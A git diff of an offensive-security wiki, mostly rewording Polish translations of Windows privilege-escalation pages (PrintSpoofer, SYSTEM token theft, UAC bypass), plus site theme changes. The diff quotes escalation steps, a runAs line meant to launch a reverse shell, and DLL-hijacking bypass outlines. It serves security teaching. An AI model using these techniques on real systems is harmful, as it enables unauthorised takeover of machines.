-Zauważ, że wszystkie strony, na których można znaleźć autoruny, **zostały już przeszukane przez**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Jednak dla **bardziej szczegółowej listy automatycznie wykonywanych** plików możesz użyć [autoruns ](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) z sysinternals:
+Zauważ, że wszystkie strony, na których można znaleźć autoruny, **zostały już przeszukane przez**[ **winpeas.exe**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe). Jednak dla **bardziej szczegółowej listy automatycznie wykonywanych** plików możesz użyć [autoruns](https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns) z sysinternals:
 ```
 autorunsc.exe -m -nobanner -a * -ct /accepteula
 ```
diff --git a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
index 7e9e54e23..d673ec975 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md
@@ -2,7 +2,7 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-> [!WARNING] > **JuicyPotato nie działa** na Windows Server 2019 i Windows 10 build 1809 i nowszych. Jednakże, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być używane do **wykorzystania tych samych uprawnień i uzyskania dostępu na poziomie `NT AUTHORITY\SYSTEM`\*\*. Ten [post na blogu](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) szczegółowo opisuje narzędzie `PrintSpoofer`, które może być używane do nadużywania uprawnień impersonacji na hostach Windows 10 i Server 2019, gdzie JuicyPotato już nie działa.
+> [!WARNING] > **JuicyPotato nie działa** na Windows Server 2019 i Windows 10 build 1809 i nowszych. Jednak [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być używane do **wykorzystania tych samych uprawnień i uzyskania dostępu na poziomie `NT AUTHORITY\SYSTEM`\*\*. Ten [post na blogu](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) szczegółowo opisuje narzędzie `PrintSpoofer`, które może być używane do nadużywania uprawnień impersonacji na hostach Windows 10 i Server 2019, gdzie JuicyPotato już nie działa.
 
 ## Szybka demonstracja
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
index 834bc99f2..ba6f9e364 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/sedebug-+-seimpersonate-copy-token.md
@@ -1,7 +1,7 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 Poniższy kod **wykorzystuje uprawnienia SeDebug i SeImpersonate** do skopiowania tokena z **procesu działającego jako SYSTEM** i z **wszystkimi uprawnieniami tokena**. \
-W tym przypadku kod ten można skompilować i użyć jako **plik binarny usługi Windows**, aby sprawdzić, czy działa.\
+W tym przypadku kod ten można skompilować i użyć jako **binarny plik usługi Windows**, aby sprawdzić, czy działa.\
 Jednak główna część **kodu, w której następuje podniesienie uprawnień**, znajduje się wewnątrz **funkcji `Exploit`**.\
 Wewnątrz tej funkcji można zobaczyć, że **proces **_**lsass.exe**_** jest wyszukiwany**, następnie **jego token jest kopiowany**, a na koniec ten token jest używany do uruchomienia nowego _**cmd.exe**_ z wszystkimi uprawnieniami skopiowanego tokena.
 
diff --git a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
index 4e22cc6e3..cc96130fd 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/seimpersonate-from-high-to-system.md
@@ -1,10 +1,10 @@
-# SeImpersonate z High do System
+# SeImpersonate from High To System
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ### Kod
 
-Poniższy kod z [tutaj](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Umożliwia **wskazanie identyfikatora procesu jako argumentu** i uruchomienie CMD **działającego jako użytkownik** wskazanego procesu.\
+Następujący kod z [tutaj](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962). Umożliwia **wskazanie identyfikatora procesu jako argumentu** i uruchomienie CMD **działającego jako użytkownik** wskazanego procesu.\
 Uruchamiając w procesie o wysokiej integralności, możesz **wskazać PID procesu działającego jako System** (takiego jak winlogon, wininit) i wykonać cmd.exe jako system.
 ```cpp
 impersonateuser.exe 1234
@@ -142,7 +142,7 @@ return 0;
 ```
 ### Błąd
 
-W niektórych przypadkach możesz spróbować przejąć tożsamość Systemu i to nie zadziała, wyświetlając wynik podobny do poniższego:
+W niektórych przypadkach możesz spróbować przejąć tożsamość Systemu i to nie zadziała, pokazując wynik podobny do poniższego:
 ```cpp
 [+] OpenProcess() success!
 [+] OpenProcessToken() success!
@@ -165,7 +165,7 @@ Sprawdźmy aktualne uprawnienia Administratora nad procesami `svchost.exe` za po
 
 ![](<../../images/image (437).png>)
 
-Poprzedni obrazek zawiera wszystkie uprawnienia, które "Administratorzy" mają nad wybranym procesem (jak widać w przypadku `svchost.exe`, mają tylko uprawnienia "Query")
+Poprzedni obrazek zawiera wszystkie uprawnienia, które "Administratorzy" mają nad wybranym procesem (jak widać w przypadku `svchost.exe`, mają tylko uprawnienia "Zapytanie")
 
 Zobacz uprawnienia, które "Administratorzy" mają nad `winlogon.exe`:
 
diff --git a/src/windows-hardening/windows-security-controls/uac-user-account-control.md b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
index d844795aa..5e92d3872 100644
--- a/src/windows-hardening/windows-security-controls/uac-user-account-control.md
+++ b/src/windows-hardening/windows-security-controls/uac-user-account-control.md
@@ -4,7 +4,7 @@
 
 ## UAC
 
-[Kontrola Konta Użytkownika (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlanie komunikatu o zgodzie na podwyższone działania**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **mogą potencjalnie zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **działają w kontekście bezpieczeństwa konta nie-administratora**, chyba że administrator wyraźnie autoryzuje te aplikacje/zadania do uzyskania dostępu na poziomie administratora w celu ich uruchomienia. Jest to funkcja ułatwiająca, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa.
+[Kontrola Konta Użytkownika (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) to funkcja, która umożliwia **wyświetlenie komunikatu o zgodzie na podwyższone działania**. Aplikacje mają różne poziomy `integrity`, a program z **wysokim poziomem** może wykonywać zadania, które **mogą potencjalnie zagrozić systemowi**. Gdy UAC jest włączone, aplikacje i zadania zawsze **działają w kontekście bezpieczeństwa konta nie-administratora**, chyba że administrator wyraźnie autoryzuje te aplikacje/zadania do uzyskania dostępu na poziomie administratora w celu ich uruchomienia. Jest to funkcja ułatwiająca, która chroni administratorów przed niezamierzonymi zmianami, ale nie jest uważana za granicę bezpieczeństwa.
 
 Aby uzyskać więcej informacji na temat poziomów integralności:
 
@@ -22,12 +22,12 @@ Ta [strona](https://docs.microsoft.com/en-us/windows/security/identity-protectio
 | [Kontrola Konta Użytkownika: Zezwól aplikacjom UIAccess na wyświetlanie komunikatu o podwyższeniu bez użycia bezpiecznego pulpitu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle      | Wyłączone                                                   |
 | [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode)                     | ConsentPromptBehaviorAdmin  | Prośba o zgodę dla nie-Windowsowych binariów              |
 | [Kontrola Konta Użytkownika: Zachowanie komunikatu o podwyższeniu dla standardowych użytkowników](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users)                                                                   | ConsentPromptBehaviorUser   | Prośba o dane uwierzytelniające na bezpiecznym pulpicie    |
-| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i prośba o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Włączone (domyślne dla domów) Wyłączone (domyślne dla przedsiębiorstw) |
-| [Kontrola Konta Użytkownika: Podwyższaj tylko pliki wykonywalne, które są podpisane i zweryfikowane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Wyłączone                                                   |
-| [Kontrola Konta Użytkownika: Podwyższaj tylko aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Włączone                                                   |
+| [Kontrola Konta Użytkownika: Wykrywanie instalacji aplikacji i prośba o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation)                                                       | EnableInstallerDetection    | Włączone (domyślnie dla domów) Wyłączone (domyślnie dla przedsiębiorstw) |
+| [Kontrola Konta Użytkownika: Tylko podwyższaj wykonywalne, które są podpisane i zweryfikowane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated)                                                             | ValidateAdminCodeSignatures | Wyłączone                                                   |
+| [Kontrola Konta Użytkownika: Tylko podwyższaj aplikacje UIAccess, które są zainstalowane w bezpiecznych lokalizacjach](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations)                       | EnableSecureUIAPaths        | Włączone                                                   |
 | [Kontrola Konta Użytkownika: Uruchom wszystkich administratorów w Trybie Zatwierdzania Administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode)                                                                               | EnableLUA                   | Włączone                                                   |
-| [Kontrola Konta Użytkownika: Przełącz na bezpieczny pulpit podczas prośby o podwyższenie](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Włączone                                                   |
-| [Kontrola Konta Użytkownika: Wirtualizuj niepowodzenia zapisu plików i rejestru do lokalizacji per-user](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Włączone                                                   |
+| [Kontrola Konta Użytkownika: Przełącz na bezpieczny pulpit podczas wyświetlania komunikatu o podwyższeniu](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation)                                                       | PromptOnSecureDesktop       | Włączone                                                   |
+| [Kontrola Konta Użytkownika: Wirtualizuj błędy zapisu plików i rejestru do lokalizacji per-user](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations)                                       | EnableVirtualization        | Włączone                                                   |
 
 ### Teoria Ominięcia UAC
 
@@ -55,12 +55,12 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
 ConsentPromptBehaviorAdmin    REG_DWORD    0x5
 ```
-- Jeśli **`0`**, to UAC nie będzie pytać (jak **wyłączone**)
+- Jeśli **`0`**, UAC nie będzie pytać (jak **wyłączone**)
 - Jeśli **`1`**, administrator jest **proszony o nazwę użytkownika i hasło** do wykonania binarnego z wysokimi uprawnieniami (na Secure Desktop)
 - Jeśli **`2`** (**Zawsze powiadamiaj mnie**) UAC zawsze poprosi o potwierdzenie administratora, gdy spróbuje wykonać coś z wysokimi uprawnieniami (na Secure Desktop)
 - Jeśli **`3`**, jak `1`, ale niekoniecznie na Secure Desktop
 - Jeśli **`4`**, jak `2`, ale niekoniecznie na Secure Desktop
-- Jeśli **`5`** (**domyślnie**), poprosi administratora o potwierdzenie uruchomienia binarnych niebędących systemem Windows z wysokimi uprawnieniami
+- Jeśli **`5`** (**domyślnie**), poprosi administratora o potwierdzenie uruchomienia binariów innych niż Windows z wysokimi uprawnieniami
 
 Następnie musisz spojrzeć na wartość **`LocalAccountTokenFilterPolicy`**\
 Jeśli wartość to **`0`**, to tylko użytkownik **RID 500** (**wbudowany Administrator**) może wykonywać **zadania administracyjne bez UAC**, a jeśli to `1`, **wszystkie konta w grupie "Administratorzy"** mogą to robić.
@@ -72,8 +72,8 @@ Jeśli **`0`** (domyślnie), **wbudowane konto Administratora może** wykonywać
 
 - Jeśli `EnableLUA=0` lub **nie istnieje**, **brak UAC dla nikogo**
 - Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, brak UAC dla nikogo**
-- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` oraz `FilterAdministratorToken=0`, brak UAC dla RID 500 (Wbudowany Administrator)**
-- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` oraz `FilterAdministratorToken=1`, UAC dla wszystkich**
+- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, brak UAC dla RID 500 (Wbudowany Administrator)**
+- Jeśli `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC dla wszystkich**
 
 Wszystkie te informacje można zebrać za pomocą modułu **metasploit**: `post/windows/gather/win_privs`
 
@@ -89,11 +89,11 @@ whoami /groups | findstr Level
 
 Obejście UAC jest potrzebne w następującej sytuacji: **UAC jest aktywowany, twój proces działa w kontekście średniej integralności, a twój użytkownik należy do grupy administratorów**.
 
-Ważne jest, aby wspomnieć, że **znacznie trudniej jest obejść UAC, jeśli jest na najwyższym poziomie bezpieczeństwa (Zawsze) niż jeśli jest na którymkolwiek z innych poziomów (Domyślny).**
+Ważne jest, aby wspomnieć, że **znacznie trudniej jest obejść UAC, jeśli jest on na najwyższym poziomie bezpieczeństwa (Zawsze) niż jeśli jest na którymkolwiek z innych poziomów (Domyślny).**
 
 ### UAC disabled
 
-Jeśli UAC jest już wyłączony (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotny shell z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego:
+Jeśli UAC jest już wyłączony (`ConsentPromptBehaviorAdmin` to **`0`**), możesz **wykonać odwrotną powłokę z uprawnieniami administratora** (wysoki poziom integralności) używając czegoś takiego:
 ```bash
 #Put your reverse shell instead of "calc.exe"
 Start-Process powershell -Verb runAs "calc.exe"
@@ -117,7 +117,7 @@ cd C$
 #Or you could just access it:
 dir \\127.0.0.1\c$\Users\Administrator\Desktop
 ```
-### UAC obejście z Cobalt Strike
+### Ominięcie UAC za pomocą Cobalt Strike
 
 Techniki Cobalt Strike będą działać tylko wtedy, gdy UAC nie jest ustawione na maksymalny poziom bezpieczeństwa.
 ```bash
@@ -177,8 +177,8 @@ Jeśli nie zależy ci na hałasie, zawsze możesz **uruchomić coś takiego jak*
 Jeśli spojrzysz na **UACME**, zauważysz, że **większość obejść UAC nadużywa podatności Dll Hijacking** (głównie pisząc złośliwy dll w _C:\Windows\System32_). [Przeczytaj to, aby dowiedzieć się, jak znaleźć podatność Dll Hijacking](../windows-local-privilege-escalation/dll-hijacking.md).
 
 1. Znajdź binarny, który będzie **autoelevate** (sprawdź, czy po uruchomieniu działa na wysokim poziomie integralności).
-2. Za pomocą procmon znajdź zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**.
-3. Prawdopodobnie będziesz musiał **napisać** DLL wewnątrz niektórych **chronionych ścieżek** (takich jak C:\Windows\System32), gdzie nie masz uprawnień do zapisu. Możesz to obejść, używając:
+2. Użyj procmon, aby znaleźć zdarzenia "**NAME NOT FOUND**", które mogą być podatne na **DLL Hijacking**.
+3. Prawdopodobnie będziesz musiał **napisać** DLL w niektórych **chronionych ścieżkach** (takich jak C:\Windows\System32), gdzie nie masz uprawnień do zapisu. Możesz to obejść, używając:
    1. **wusa.exe**: Windows 7, 8 i 8.1. Umożliwia to wyodrębnienie zawartości pliku CAB w chronionych ścieżkach (ponieważ to narzędzie jest uruchamiane z wysokiego poziomu integralności).
    2. **IFileOperation**: Windows 10.
 4. Przygotuj **skrypt**, aby skopiować swój DLL do chronionej ścieżki i uruchomić podatny i autoelevated binarny.
diff --git a/theme/book.js b/theme/book.js
index 1c8d77287..ccba50404 100644
--- a/theme/book.js
+++ b/theme/book.js
@@ -590,6 +590,61 @@ function playground_text(playground, hidden = true) {
     });
 })();
 
+
+(function menubarLanguage() {
+    var menubarLanguageToggleButton = document.getElementById('menubar-languages-toggle');
+    var menubarLanguagePopup = document.getElementById('menubar-languages-popup');
+    var languageButtons = menubarLanguagePopup.querySelectorAll('.menu-bar-link');
+
+    function showLanguage() {
+        menubarLanguagePopup.style.display = 'flex';
+        menubarLanguageToggleButton.setAttribute('aria-expanded', true);
+    }
+
+    function hideLanguage() {
+        menubarLanguagePopup.style.display = 'none';
+        menubarLanguageToggleButton.setAttribute('aria-expanded', false);
+        menubarLanguageToggleButton.focus();
+    }
+
+    menubarLanguageToggleButton.addEventListener('click', function () {
+        if (menubarLanguagePopup.style.display === 'flex') {
+            hideLanguage();
+        } else {
+            showLanguage();
+        }
+    });
+
+    menubarLanguagePopup.addEventListener('focusout', function(e) {
+        // e.relatedTarget is null in Safari and Firefox on macOS (see workaround below)
+        if (!!e.relatedTarget && !menubarLanguageToggleButton.contains(e.relatedTarget) && !menubarLanguagePopup.contains(e.relatedTarget)) {
+            hideLanguage();
+        }
+    });
+
+    // Should not be needed, but it works around an issue on macOS & iOS: https://github.com/rust-lang/mdBook/issues/628
+    document.addEventListener('click', function(e) {
+        if (menubarLanguagePopup.style.display === 'block' && !menubarLanguageToggleButton.contains(e.target) && !menubarLanguagePopup.contains(e.target)) {
+            hideLanguage();
+        }
+    });
+    
+    languageButtons.forEach((btn) => {
+        btn.addEventListener('click', function(e) {
+            const regex = /(?:(?:\/)+(?[a-z]{2}(?=\/|$)))?(?(?:\/)*.*)?/g
+            var match = regex.exec(window.location.pathname)
+          
+            var path = match.groups.path
+            console.log(`Path: ${path} ${typeof path}`)
+          
+            const lang = match.groups.lang
+            console.log(`Lang: ${lang}`)
+            
+            window.location = `/${e.target.id}${path}${window.location.hash}`
+        });
+    })
+})();
+
 (function chapterNavigation() {
     document.addEventListener('keydown', function (e) {
         if (e.altKey || e.ctrlKey || e.metaKey || e.shiftKey) { return; }
diff --git a/theme/css/chrome.css b/theme/css/chrome.css
index 8cbda7c69..ead7ee881 100644
--- a/theme/css/chrome.css
+++ b/theme/css/chrome.css
@@ -83,6 +83,13 @@ body.sidebar-visible #menu-bar {
     }
 }
 
+.right-buttons .icons {
+    display: flex;
+    flex-direction: row;
+    flex-wrap: wrap;
+    column-gap: 0.5rem;
+}
+
 .icon-button {
     border: none;
     background: var(--bg);
@@ -139,10 +146,13 @@ body.sidebar-visible #menu-bar {
 
 /* Collapse Menu Popup */
 
+#menubar-collapse-toggle {
+    position: relative;
+}
 #menubar-collapse-popup {
     position: absolute;
-    right: 30px;
-    top: var(--menu-bar-height);
+    right: 0px;
+    top: 35px;
     z-index: 105;
     border-radius: 5px;
     font-size: 14px;
@@ -172,6 +182,44 @@ body.sidebar-visible #menu-bar {
     background-color: var(--theme-hover);
 }
 
+/* Languages Menu Popup */
+#menubar-languages-toggle {
+    position: relative;
+}
+
+#menubar-languages-popup {
+    position: absolute;
+    right: 0px;
+    top: 35px;
+    z-index: 105;
+    border-radius: 5px;
+    font-size: 14px;
+    color: var(--fg);
+    background: var(--bg);
+    border: 1px solid var(--table-border-color);
+    margin: 0;
+    padding: 0px;
+    display: none;
+    flex-direction: column;
+    max-height: 300px;
+    width: 150px;
+    overflow: scroll;
+}
+#menubar-languages-popup .menu-bar-link {
+    border: 0;
+    margin: 0;
+    padding: 8px 20px;
+    line-height: 25px;
+    white-space: nowrap;
+    text-align: start;
+    cursor: pointer;
+    color: inherit;
+    background: inherit;
+    font-size: inherit;
+}
+#menubar-languages-popup .menu-bar-link:hover {
+    background-color: var(--theme-hover);
+}
 
 .left-buttons {
     display: flex;
diff --git a/theme/index.hbs b/theme/index.hbs
index ecd2565f4..95c964391 100644
--- a/theme/index.hbs
+++ b/theme/index.hbs
@@ -144,34 +144,60 @@
 
                         

                             
-                            
-                            
+                            

+                                
 
-                            {{#if search_enabled}}
-                            
-                            {{/if}}
+                                {{#if search_enabled}}
+                                
+                                {{/if}}
+
+                                
+                            

 
                             {{#if print_enable}}
                             
diff --git a/theme/sponsor.js b/theme/sponsor.js
index 65f157364..5b3f66804 100644
--- a/theme/sponsor.js
+++ b/theme/sponsor.js
@@ -19,13 +19,11 @@
     try {
       const response = await fetch(url, { method: "GET" })
       if (!response.ok) {
-        console.log(response)
         throw new Error(`Response status: ${response.status}`)
       }
 
       const json = await response.json()
       var sponsor = json.sponsor
-      console.log("boop", sponsor)
       sponsorImg.src = sponsor.image_url
       sponsorTitle.textContent = sponsor.name
       sponsorDescription.innerHTML = sponsor.description